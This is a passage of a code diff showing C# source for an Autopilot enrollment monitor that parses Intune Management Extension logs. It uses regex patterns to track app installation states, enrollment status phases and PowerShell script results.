var script = GetCurrentScript(parameters);
|
||||
if (script == null) return;
|
||||
|
||||
// PS-AGENT-OUTPUT captures both stdout and stderr in one pattern
|
||||
var output = match.Groups["output"]?.Value;
|
||||
var error = match.Groups["error"]?.Value;
|
||||
|
||||
if (!string.IsNullOrEmpty(output) && !string.IsNullOrEmpty(error))
|
||||
{
|
||||
// Combined pattern (write output done. output = ..., error = ...)
|
||||
script.Stdout = TruncateOutput(output.Trim());
|
||||
script.Stderr = TruncateOutput(error.Trim());
|
||||
}
|
||||
else if (string.Equals(outputType, "stderr", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
script.Stderr = TruncateOutput(output?.Trim());
|
||||
}
|
||||
else
|
||||
{
|
||||
script.Stdout = TruncateOutput(output?.Trim());
|
||||
}
|
||||
|
||||
_logger.Debug($"ImeLogTracker: script output captured for {script.PolicyId} (type: {outputType ?? "combined"})");
|
||||
}
|
||||
|
||||
private void HandleScriptCompleted(Match match, Dictionary<string, string> parameters)
|
||||
{
|
||||
var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : "platform";
|
||||
var part = parameters != null && parameters.TryGetValue("part", out var p) ? p : null;
|
||||
|
||||
if (string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
if (_currentRemediationScript == null) return;
|
||||
|
||||
var compliance = match.Groups["compliance"]?.Value;
|
||||
var id = match.Groups["id"]?.Value;
|
||||
|
||||
_currentRemediationScript.ComplianceResult = compliance;
|
||||
if (!string.IsNullOrEmpty(part))
|
||||
_currentRemediationScript.ScriptPart = part;
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
_currentRemediationScript.PolicyId = id; // confirm policyId from compliance line
|
||||
|
||||
_logger.Info($"ImeLogTracker: remediation detection completed: {_currentRemediationScript.PolicyId}, " +
|
||||
$"compliance={compliance}, exit={_currentRemediationScript.ExitCode}");
|
||||
|
||||
EmitScriptEvent(_currentRemediationScript);
|
||||
_currentRemediationScript = null;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Platform script: final result from IntuneManagementExtension.log
|
||||
var id = match.Groups["id"]?.Value;
|
||||
var result = match.Groups["result"]?.Value;
|
||||
|
||||
if (string.IsNullOrEmpty(id)) return;
|
||||
|
||||
// Merge with pending AgentExecutor data if available
|
||||
if (!_pendingPlatformScripts.TryGetValue(id, out var script))
|
||||
{
|
||||
script = new ScriptExecutionState
|
||||
{
|
||||
PolicyId = id,
|
||||
ScriptType = "platform"
|
||||
};
|
||||
}
|
||||
|
||||
script.Result = result;
|
||||
|
||||
_logger.Info($"ImeLogTracker: platform script completed: {id}, result={result}, exit={script.ExitCode}");
|
||||
|
||||
EmitScriptEvent(script);
|
||||
_pendingPlatformScripts.Remove(id);
|
||||
if (string.Equals(_lastPlatformScriptPolicyId, id, StringComparison.OrdinalIgnoreCase))
|
||||
_lastPlatformScriptPolicyId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private void EmitScriptEvent(ScriptExecutionState script)
|
||||
{
|
||||
if (script == null || string.IsNullOrEmpty(script.PolicyId)) return;
|
||||
OnScriptCompleted?.Invoke(script);
|
||||
}
|
||||
|
||||
private static string TruncateOutput(string output)
|
||||
{
|
||||
if (string.IsNullOrEmpty(output) || output.Length <= MaxScriptOutputLength)
|
||||
return output;
|
||||
return output.Substring(0, MaxScriptOutputLength) + "...[truncated]";
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// IME lifecycle handlers
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void HandleImeStarted()
|
||||
{
|
||||
_logger.Info("ImeLogTracker: IME Agent Started detected");
|
||||
|
||||
// Log any currently active app — it will be re-evaluated by new log entries after IME restart.
|
||||
// We intentionally do NOT mark it as Installed here because IME may retry the app.
|
||||
if (!string.IsNullOrEmpty(_packageStates.CurrentPackageId))
|
||||
{
|
||||
var currentPkg = _packageStates.GetPackage(_packageStates.CurrentPackageId);
|
||||
if (currentPkg?.IsActive == true)
|
||||
_logger.Info($"ImeLogTracker: Active package {currentPkg.Name ?? currentPkg.Id} ({currentPkg.InstallationState}) will be re-evaluated after IME restart");
|
||||
}
|
||||
|
||||
OnImeStarted?.Invoke();
|
||||
}
|
||||
|
||||
private void HandleImeShutdown()
|
||||
{
|
||||
_logger.Info("ImeLogTracker: IME shutdown detected — marking all active packages as Postponed");
|
||||
|
||||
foreach (var pkg in _packageStates.Where(p => p.IsActive).ToList())
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: Postponing active package {pkg.Name ?? pkg.Id} ({pkg.InstallationState})");
|
||||
UpdateStateWithCallback(pkg.Id, AppInstallationState.Postponed);
|
||||
}
|
||||
}
|
||||
|
||||
private string _lastEspPhaseDetected;
|
||||
|
||||
private void HandleEspPhaseDetected(string espPhaseString)
|
||||
{
|
||||
// Validate phase and get its ordinal for forward-only enforcement
|
||||
int phaseOrd;
|
||||
if (!EspPhaseOrder.TryGetValue(espPhaseString, out phaseOrd))
|
||||
return; // Not a recognized ESP phase
|
||||
|
||||
bool logPhaseIsCurrentPhase = true; // Both DeviceSetup and AccountSetup are "current"
|
||||
|
||||
// Forward-only phase progression: reject backward transitions.
|
||||
// During AccountSetup, IME may re-evaluate device apps and log "In EspPhase: DeviceSetup"
|
||||
// which would corrupt tracking if we allowed it to trigger a phase change.
|
||||
if (phaseOrd < _currentPhaseOrder)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: ignoring backward phase transition to {espPhaseString} (current phase order: {_currentPhaseOrder})");
|
||||
return;
|
||||
}
|
||||
|
||||
// If the ESP phase actually changed (e.g. DeviceSetup -> AccountSetup),
|
||||
// move ALL known app IDs into the ignore list so they won't emit events in the new phase.
|
||||
// We use both _packageStates (apps from policiesdiscovered) AND _seenAppIds (all IDs from
|
||||
// any pattern match) to ensure comprehensive coverage - apps seen via setcurrentapp,
|
||||
// esptrackstatus etc. that never entered _packageStates are also silenced.
|
||||
if (!string.Equals(_lastEspPhaseDetected, espPhaseString, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
if (_lastEspPhaseDetected != null) // Not the first phase detection
|
||||
{
|
||||
var ignoredFromStates = 0;
|
||||
var ignoredFromSeen = 0;
|
||||
|
||||
foreach (var pkg in _packageStates)
|
||||
{
|
||||
if (_packageStates.AddToIgnoreList(pkg.Id))
|
||||
ignoredFromStates++;
|
||||
}
|
||||
foreach (var appId in _seenAppIds)
|
||||
{
|
||||
if (_packageStates.AddToIgnoreList(appId))
|
||||
ignoredFromSeen++;
|
||||
}
|
||||
|
||||
_logger.Info($"ImeLogTracker: ESP phase changed from {_lastEspPhaseDetected} to {espPhaseString} - " +
|
||||
$"silenced {ignoredFromStates} packages + {ignoredFromSeen} additional seen IDs " +
|
||||
$"(total ignore list: {_packageStates.IgnoreList.Count})");
|
||||
|
||||
// Snapshot package states from the completed phase before clearing
|
||||
if (_packageStates.CountAll > 0)
|
||||
{
|
||||
_phasePackageSnapshots[_lastEspPhaseDetected] = _packageStates.ToFinalStatusList();
|
||||
_logger.Info($"ImeLogTracker: Snapshotted {_packageStates.CountAll} package states from {_lastEspPhaseDetected} phase");
|
||||
}
|
||||
|
||||
_packageStates.Clear();
|
||||
_packageStates.SetCurrent(""); // Reset current package to avoid stale device-phase reference
|
||||
_seenAppIds.Clear();
|
||||
_allAppsCompletedFired = false;
|
||||
}
|
||||
_lastEspPhaseDetected = espPhaseString;
|
||||
_currentPhaseOrder = phaseOrd;
|
||||
}
|
||||
|
||||
_logger.Info($"ImeLogTracker: ESP phase detected: {espPhaseString}");
|
||||
ActivatePatterns(logPhaseIsCurrentPhase);
|
||||
|
||||
OnEspPhaseChanged?.Invoke(espPhaseString);
|
||||
}
|
||||
|
||||
private void HandleEspTrackStatus(Match match)
|
||||
{
|
||||
var from = match.Groups["from"]?.Value;
|
||||
var to = match.Groups["to"]?.Value;
|
||||
var id = match.Groups["id"]?.Value;
|
||||
|
||||
if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(to)) return;
|
||||
|
||||
var pkg = _packageStates.GetPackage(id);
|
||||
var label = pkg?.Name ?? id;
|
||||
|
||||
if (string.Equals(to, "InProgress", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> InProgress");
|
||||
_packageStates.SetCurrent(id);
|
||||
UpdateStateWithCallback(id, AppInstallationState.Installing);
|
||||
}
|
||||
else if (string.Equals(to, "Completed", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> Completed");
|
||||
UpdateStateWithCallback(id, AppInstallationState.Installed);
|
||||
}
|
||||
else if (string.Equals(to, "Error", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> Error");
|
||||
UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: "IME-ESP-TRACK-STATUS", errorDetail: $"ESP track status changed from {from} to {to}");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandlePoliciesDiscovered(string policiesJson)
|
||||
{
|
||||
try
|
||||
{
|
||||
var policies = System.Text.Json.JsonSerializer.Deserialize<List<Dictionary<string, object>>>(policiesJson);
|
||||
if (policies != null)
|
||||
{
|
||||
// Ignore user-targeted packages during device setup (we only track device phase in general)
|
||||
_packageStates.AddUpdateFromJsonPolicies(policies, ignoreUserTargeted: false);
|
||||
_logger.Info($"ImeLogTracker: discovered {policies.Count} policies, tracking {_packageStates.Count} packages");
|
||||
OnPoliciesDiscovered?.Invoke(policiesJson);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ImeLogTracker: failed to parse policies JSON: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleCancelStuckAndSetCurrent(string newId)
|
||||
{
|
||||
if (string.IsNullOrEmpty(newId)) return;
|
||||
|
||||
// If current app is stuck in an active state, mark it as skipped
|
||||
var currentPkg = _packageStates.GetPackage(_packageStates.CurrentPackageId);
|
||||
if (currentPkg != null && (currentPkg.InstallationState == AppInstallationState.Installing ||
|
||||
currentPkg.InstallationState == AppInstallationState.InProgress ||
|
||||
currentPkg.InstallationState == AppInstallationState.Downloading))
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: cancelling stuck app {currentPkg.Name ?? _packageStates.CurrentPackageId} ({currentPkg.InstallationState}), switching to {newId}");
|
||||
UpdateStateWithCallback(_packageStates.CurrentPackageId, AppInstallationState.Skipped);
|
||||
}
|
||||
|
||||
_packageStates.SetCurrent(newId);
|
||||
}
|
||||
|
||||
private void UpdateStateWithCallback(string id, AppInstallationState newState, int? progressPercent = null, string errorPatternId = null, string errorDetail = null, string errorCode = null)
|
||||
{
|
||||
var pkg = _packageStates.GetPackage(id);
|
||||
if (pkg == null) return;
|
||||
|
||||
// Set error context before state change so it's available in ToEventData()
|
||||
if (newState == AppInstallationState.Error && !string.IsNullOrEmpty(errorPatternId))
|
||||
pkg.SetErrorContext(errorPatternId, errorDetail, errorCode);
|
||||
|
||||
var oldState = pkg.InstallationState;
|
||||
var changed = _packageStates.UpdateState(id, newState, progressPercent);
|
||||
|
||||
if (changed)
|
||||
{
|
||||
_logger.Info($"ImeLogTracker: {pkg.Name ?? id} state: {oldState} -> {newState}");
|
||||
OnAppStateChanged?.Invoke(pkg, oldState, newState);
|
||||
|
||||
// Check if all apps are now completed - only fire once
|
||||
if (!_allAppsCompletedFired && _packageStates.CountAll > 0 && _packageStates.IsAllCompleted())
|
||||
{
|
||||
_allAppsCompletedFired = true;
|
||||
_logger.Info($"ImeLogTracker: all {_packageStates.CountAll} apps completed");
|
||||
OnAllAppsCompleted?.Invoke();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateDownloadingWithCallback(string id, string bytes, string ofbytes)
|
||||
{
|
||||
var pkg = _packageStates.GetPackage(id);
|
||||
if (pkg == null) return;
|
||||
|
||||
var oldState = pkg.InstallationState;
|
||||
var changed = _packageStates.UpdateStateToDownloading(id, bytes, ofbytes);
|
||||
|
||||
if (changed)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: {pkg.Name ?? id} downloading: {bytes}/{ofbytes}");
|
||||
OnAppStateChanged?.Invoke(pkg, oldState, AppInstallationState.Downloading);
|
||||
}
|
||||
}
|
||||
|
||||
private void ActivatePatterns(bool logPhaseIsCurrentPhase, bool force = false)
|
||||
{
|
||||
if (!force && _logPhaseIsCurrentPhase == logPhaseIsCurrentPhase)
|
||||
return;
|
||||
|
||||
var patterns = new List<CompiledPattern>(_patternsAlways);
|
||||
if (logPhaseIsCurrentPhase)
|
||||
{
|
||||
patterns.AddRange(_patternsCurrentPhase);
|
||||
_lastLogTimestamp = DateTime.MinValue; // Reset simulation delay
|
||||
}
|
||||
else
|
||||
{
|
||||
patterns.AddRange(_patternsOtherPhases);
|
||||
}
|
||||
|
||||
_activePatterns = patterns;
|
||||
_packageStates.SetCurrent(""); // Reset current package
|
||||
_logPhaseIsCurrentPhase = logPhaseIsCurrentPhase;
|
||||
}
|
||||
|
||||
private async Task ApplySimulationDelay(DateTime logTimestamp, CancellationToken token)
|
||||
{
|
||||
if (!SimulationMode || logTimestamp == DateTime.MinValue)
|
||||
return;
|
||||
|
||||
if (_lastLogTimestamp != DateTime.MinValue)
|
||||
{
|
||||
var timeSpan = logTimestamp - _lastLogTimestamp;
|
||||
if (timeSpan.TotalMilliseconds > 0)
|
||||
{
|
||||
var delayMs = (int)(timeSpan.TotalMilliseconds / SpeedFactor);
|
||||
delayMs = Math.Max(0, Math.Min(delayMs, 5000)); // Cap at 5 seconds
|
||||
if (delayMs > 0)
|
||||
await Task.Delay(delayMs, token);
|
||||
}
|
||||
}
|
||||
_lastLogTimestamp = logTimestamp;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
_cts?.Dispose();
|
||||
}
|
||||
|
||||
private void WriteMatchLog(string sourceFile, string rawLine, string patternId)
|
||||
{
|
||||
if (string.IsNullOrEmpty(_matchLogPath)) return;
|
||||
try
|
||||
{
|
||||
var entry = $"[{Path.GetFileName(sourceFile)}] [{patternId}] {rawLine}";
|
||||
lock (_matchLogLock)
|
||||
{
|
||||
File.AppendAllText(_matchLogPath, entry + Environment.NewLine);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A compiled regex pattern with its action and parameters
|
||||
/// </summary>
|
||||
private class CompiledPattern
|
||||
{
|
||||
public string PatternId { get; set; }
|
||||
public Regex Regex { get; set; }
|
||||
public string Action { get; set; }
|
||||
public Dictionary<string, string> Parameters { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-403
@@ -1,403 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Partial: Log file polling and pattern matching logic.
|
||||
/// </summary>
|
||||
public partial class ImeLogTracker
|
||||
{
|
||||
private async Task CheckLogFilesAsync(CancellationToken token)
|
||||
{
|
||||
if (!Directory.Exists(_logFolder))
|
||||
return;
|
||||
|
||||
// Get all matching log files, sorted by name (archived files come before current)
|
||||
var files = new List<string>();
|
||||
foreach (var pattern in LogFilePatterns)
|
||||
{
|
||||
try
|
||||
{
|
||||
files.AddRange(Directory.GetFiles(_logFolder, pattern));
|
||||
}
|
||||
catch (DirectoryNotFoundException) { }
|
||||
}
|
||||
|
||||
files.Sort(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
foreach (var filePath in files)
|
||||
{
|
||||
if (token.IsCancellationRequested) break;
|
||||
|
||||
try
|
||||
{
|
||||
var fileInfo = new FileInfo(filePath);
|
||||
if (!fileInfo.Exists) continue;
|
||||
|
||||
var startPos = _positionTracker.GetSafePosition(filePath, fileInfo.Length);
|
||||
if (startPos >= fileInfo.Length)
|
||||
{
|
||||
_logger.Trace($"ImeLogTracker: {Path.GetFileName(filePath)} — no new data (pos={startPos}, size={fileInfo.Length})");
|
||||
continue;
|
||||
}
|
||||
_logger.Trace($"ImeLogTracker: reading {Path.GetFileName(filePath)} from pos {startPos} (size={fileInfo.Length}, delta={fileInfo.Length - startPos})");
|
||||
|
||||
using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
|
||||
{
|
||||
stream.Seek(startPos, SeekOrigin.Begin);
|
||||
|
||||
using (var reader = new StreamReader(stream, Encoding.UTF8, detectEncodingFromByteOrderMarks: true, bufferSize: 1024, leaveOpen: true))
|
||||
{
|
||||
// Buffer for multiline CMTrace entries (e.g. AgentExecutor.log
|
||||
// "write output done. output = ..." spans many lines)
|
||||
StringBuilder multiLineBuffer = null;
|
||||
int multiLineCount = 0;
|
||||
|
||||
string line;
|
||||
while ((line = await reader.ReadLineAsync()) != null)
|
||||
{
|
||||
if (token.IsCancellationRequested) break;
|
||||
|
||||
// --- Multiline CMTrace buffering ---
|
||||
// CMTrace entries: <![LOG[message]LOG]!><time=...>
|
||||
// When message contains newlines, the entry spans multiple lines.
|
||||
// We buffer until we find the closing ]LOG]!> tag.
|
||||
if (multiLineBuffer != null)
|
||||
{
|
||||
// Continuing a multiline entry
|
||||
multiLineBuffer.Append('\n').Append(line);
|
||||
multiLineCount++;
|
||||
|
||||
if (line.Contains("]LOG]!>"))
|
||||
{
|
||||
// Entry complete — use the assembled line
|
||||
line = multiLineBuffer.ToString();
|
||||
multiLineBuffer = null;
|
||||
multiLineCount = 0;
|
||||
}
|
||||
else if (multiLineCount >= MaxMultiLineBufferLines)
|
||||
{
|
||||
// Safety limit — discard to prevent unbounded memory usage
|
||||
_logger.Debug($"ImeLogTracker: discarding multiline CMTrace buffer after {multiLineCount} lines (corrupt entry?)");
|
||||
multiLineBuffer = null;
|
||||
multiLineCount = 0;
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Still accumulating — read next line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if (line.StartsWith("<![LOG[") && !line.Contains("]LOG]!>"))
|
||||
{
|
||||
// Start of a multiline CMTrace entry
|
||||
multiLineBuffer = new StringBuilder(line);
|
||||
multiLineCount = 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
// --- Normal processing (single-line or completed multiline) ---
|
||||
CmTraceLogEntry entry;
|
||||
string messageToMatch;
|
||||
if (CmTraceLogParser.TryParseLine(line, out entry))
|
||||
{
|
||||
messageToMatch = entry.Message;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Non-CMTrace line - match raw
|
||||
messageToMatch = line;
|
||||
entry = null;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(messageToMatch)) continue;
|
||||
|
||||
// Simulation mode delay
|
||||
if (SimulationMode && entry != null)
|
||||
{
|
||||
await ApplySimulationDelay(entry.Timestamp, token);
|
||||
}
|
||||
|
||||
// Match against active patterns
|
||||
foreach (var pattern in _activePatterns)
|
||||
{
|
||||
try
|
||||
{
|
||||
var match = pattern.Regex.Match(messageToMatch);
|
||||
if (match.Success)
|
||||
{
|
||||
WriteMatchLog(filePath, line, pattern.PatternId);
|
||||
HandlePatternMatch(pattern, match, messageToMatch, entry);
|
||||
}
|
||||
}
|
||||
catch (RegexMatchTimeoutException)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: regex timeout for pattern '{pattern.PatternId}' — skipped to prevent ReDoS");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_positionTracker.SetPosition(filePath, stream.Position);
|
||||
_stateDirty = true;
|
||||
}
|
||||
}
|
||||
catch (FileNotFoundException) { }
|
||||
catch (IOException ex)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: IO error reading {filePath}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HandlePatternMatch(CompiledPattern pattern, Match match, string message, CmTraceLogEntry entry)
|
||||
{
|
||||
LastMatchedPatternId = pattern.PatternId;
|
||||
LastMatchedLogTimestamp = entry?.Timestamp;
|
||||
try
|
||||
{
|
||||
var id = match.Groups["id"]?.Value;
|
||||
var useCurrentApp = pattern.Parameters.ContainsKey("useCurrentApp") &&
|
||||
pattern.Parameters["useCurrentApp"] == "true";
|
||||
|
||||
if (useCurrentApp && string.IsNullOrEmpty(id))
|
||||
id = _packageStates.CurrentPackageId;
|
||||
|
||||
// Track every app ID seen during the current phase for comprehensive ignore on phase change
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
_seenAppIds.Add(id);
|
||||
|
||||
switch (pattern.Action?.ToLower())
|
||||
{
|
||||
case "imestarted":
|
||||
HandleImeStarted();
|
||||
break;
|
||||
|
||||
case "imeshutdown":
|
||||
HandleImeShutdown();
|
||||
break;
|
||||
|
||||
case "imesessionchange":
|
||||
var sessionChange = match.Groups["change"]?.Value;
|
||||
_logger.Debug($"IME session change: {sessionChange}");
|
||||
OnImeSessionChange?.Invoke(sessionChange);
|
||||
break;
|
||||
|
||||
case "espphasedetected":
|
||||
var phase = match.Groups["espPhase"]?.Value;
|
||||
if (string.IsNullOrEmpty(phase) && pattern.Parameters.ContainsKey("phase"))
|
||||
phase = pattern.Parameters["phase"];
|
||||
if (!string.IsNullOrEmpty(phase))
|
||||
HandleEspPhaseDetected(phase);
|
||||
break;
|
||||
|
||||
case "setcurrentapp":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
_packageStates.SetCurrent(id);
|
||||
break;
|
||||
|
||||
case "imeagentversion":
|
||||
var version = match.Groups["agentVersion"]?.Value;
|
||||
if (!string.IsNullOrEmpty(version))
|
||||
OnImeAgentVersion?.Invoke(version);
|
||||
break;
|
||||
|
||||
case "imeimpersonation":
|
||||
_logger.Debug($"IME impersonation: {match.Groups["user"]?.Value}");
|
||||
break;
|
||||
|
||||
case "enrollmentcompleted":
|
||||
_logger.Info("ImeLogTracker: User session completed detected");
|
||||
OnUserSessionCompleted?.Invoke();
|
||||
break;
|
||||
|
||||
case "updatestateinstalled":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
UpdateStateWithCallback(id, AppInstallationState.Installed);
|
||||
break;
|
||||
|
||||
case "updatestatedownloading":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
{
|
||||
var bytes = match.Groups["bytes"]?.Value;
|
||||
var ofbytes = match.Groups["ofbytes"]?.Value;
|
||||
if (!string.IsNullOrEmpty(bytes) && !string.IsNullOrEmpty(ofbytes))
|
||||
UpdateDownloadingWithCallback(id, bytes, ofbytes);
|
||||
else
|
||||
UpdateStateWithCallback(id, AppInstallationState.Downloading);
|
||||
}
|
||||
break;
|
||||
|
||||
case "updatestateinstalling":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
UpdateStateWithCallback(id, AppInstallationState.Installing);
|
||||
break;
|
||||
|
||||
case "updatestateskipped":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
UpdateStateWithCallback(id, AppInstallationState.Skipped);
|
||||
break;
|
||||
|
||||
case "updatestateerror":
|
||||
// Extract structured error code from named capture groups (exitCode, hresult, errorCode)
|
||||
var extractedErrorCode = match.Groups["exitCode"]?.Value;
|
||||
if (string.IsNullOrEmpty(extractedErrorCode))
|
||||
extractedErrorCode = match.Groups["hresult"]?.Value;
|
||||
if (string.IsNullOrEmpty(extractedErrorCode))
|
||||
extractedErrorCode = match.Groups["errorCode"]?.Value;
|
||||
|
||||
if (pattern.Parameters.ContainsKey("checkTo") && pattern.Parameters["checkTo"] == "true")
|
||||
{
|
||||
// Only apply error if the "to" value is "Error"
|
||||
var toValue = match.Groups["to"]?.Value;
|
||||
if (string.Equals(toValue, "Error", StringComparison.OrdinalIgnoreCase) && !string.IsNullOrEmpty(id))
|
||||
UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: pattern.PatternId, errorDetail: message, errorCode: extractedErrorCode);
|
||||
}
|
||||
else if (!string.IsNullOrEmpty(id))
|
||||
{
|
||||
UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: pattern.PatternId, errorDetail: message, errorCode: extractedErrorCode);
|
||||
}
|
||||
break;
|
||||
|
||||
case "captureexitcode":
|
||||
var exitCodeVal = match.Groups["exitCode"]?.Value;
|
||||
if (!string.IsNullOrEmpty(exitCodeVal) && !string.IsNullOrEmpty(_packageStates.CurrentPackageId))
|
||||
_packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateExitCode(exitCodeVal);
|
||||
break;
|
||||
|
||||
case "capturehresult":
|
||||
var hresultVal = match.Groups["hresult"]?.Value;
|
||||
if (!string.IsNullOrEmpty(hresultVal) && !string.IsNullOrEmpty(_packageStates.CurrentPackageId))
|
||||
_packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateHResult(hresultVal);
|
||||
break;
|
||||
|
||||
case "captureappversion":
|
||||
var appVersionVal = match.Groups["appVersion"]?.Value;
|
||||
if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(appVersionVal))
|
||||
_packageStates.GetPackage(id)?.UpdateAppVersion(appVersionVal);
|
||||
break;
|
||||
|
||||
case "captureapptypewinget":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
_packageStates.GetPackage(id)?.UpdateAppType("WinGet");
|
||||
break;
|
||||
|
||||
case "captureapptypemsi":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
_packageStates.GetPackage(id)?.UpdateAppType("MSI");
|
||||
break;
|
||||
|
||||
case "captureattemptnumber":
|
||||
// IME logs "Execute retry 0" for the first attempt. We report attempt+1 so
|
||||
// the human-friendly value starts at 1 (first attempt).
|
||||
var attemptVal = match.Groups["attempt"]?.Value;
|
||||
if (!string.IsNullOrEmpty(attemptVal) && int.TryParse(attemptVal, out var attemptIdx)
|
||||
&& !string.IsNullOrEmpty(_packageStates.CurrentPackageId))
|
||||
{
|
||||
_packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateAttemptNumber(attemptIdx + 1);
|
||||
}
|
||||
break;
|
||||
|
||||
case "capturedetectionresult":
|
||||
var detectionVal = match.Groups["detection"]?.Value;
|
||||
if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(detectionVal))
|
||||
_packageStates.GetPackage(id)?.UpdateDetectionResult(detectionVal);
|
||||
break;
|
||||
|
||||
case "updatestatepostponed":
|
||||
if (!string.IsNullOrEmpty(id))
|
||||
{
|
||||
// Only postpone if not already in a terminal state
|
||||
var pkg = _packageStates.GetPackage(id);
|
||||
if (pkg != null && pkg.InstallationState != AppInstallationState.Installed &&
|
||||
pkg.InstallationState != AppInstallationState.Error)
|
||||
{
|
||||
UpdateStateWithCallback(id, AppInstallationState.Postponed);
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "esptrackstatus":
|
||||
HandleEspTrackStatus(match);
|
||||
break;
|
||||
|
||||
case "policiesdiscovered":
|
||||
var policiesJson = match.Groups["policies"]?.Value;
|
||||
if (!string.IsNullOrEmpty(policiesJson))
|
||||
HandlePoliciesDiscovered(policiesJson);
|
||||
break;
|
||||
|
||||
case "ignorecompletedapp":
|
||||
_packageStates.AddToIgnoreList(_packageStates.CurrentPackageId);
|
||||
break;
|
||||
|
||||
case "updatename":
|
||||
var name = match.Groups["name"]?.Value;
|
||||
if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(name))
|
||||
_packageStates.UpdateName(id, name);
|
||||
break;
|
||||
|
||||
case "updatewin32appstate":
|
||||
var state = match.Groups["state"]?.Value;
|
||||
if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(state))
|
||||
_packageStates.UpdateStateFromWin32AppState(id, state);
|
||||
break;
|
||||
|
||||
case "cancelstuckandsetcurrent":
|
||||
HandleCancelStuckAndSetCurrent(id);
|
||||
break;
|
||||
|
||||
case "updatedotelemetry":
|
||||
var doTelJson = match.Groups["doTelJson"]?.Value;
|
||||
if (!string.IsNullOrEmpty(doTelJson))
|
||||
HandleDoTelemetry(doTelJson);
|
||||
break;
|
||||
|
||||
// PowerShell script tracking actions
|
||||
case "scriptstarted":
|
||||
HandleScriptStarted(match, pattern.Parameters);
|
||||
break;
|
||||
|
||||
case "scriptcontext":
|
||||
HandleScriptContext(match, pattern.Parameters);
|
||||
break;
|
||||
|
||||
case "scriptexitcode":
|
||||
HandleScriptExitCode(match, pattern.Parameters);
|
||||
break;
|
||||
|
||||
case "scriptoutput":
|
||||
HandleScriptOutput(match, pattern.Parameters);
|
||||
break;
|
||||
|
||||
case "scriptcompleted":
|
||||
HandleScriptCompleted(match, pattern.Parameters);
|
||||
break;
|
||||
|
||||
default:
|
||||
_logger.Debug($"ImeLogTracker: unhandled action '{pattern.Action}' for pattern {pattern.PatternId}");
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ImeLogTracker: error handling match for {pattern.PatternId}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Parses [DO TEL] JSON and links it to the correct app via FileId.
|
||||
/// The FileId contains the app GUID in the format: ...intunewin-bin_{appGuid}_{number}
|
||||
/// </summary>
|
||||
}
|
||||
}
|
||||
@@ -1,442 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Text.RegularExpressions;
|
||||
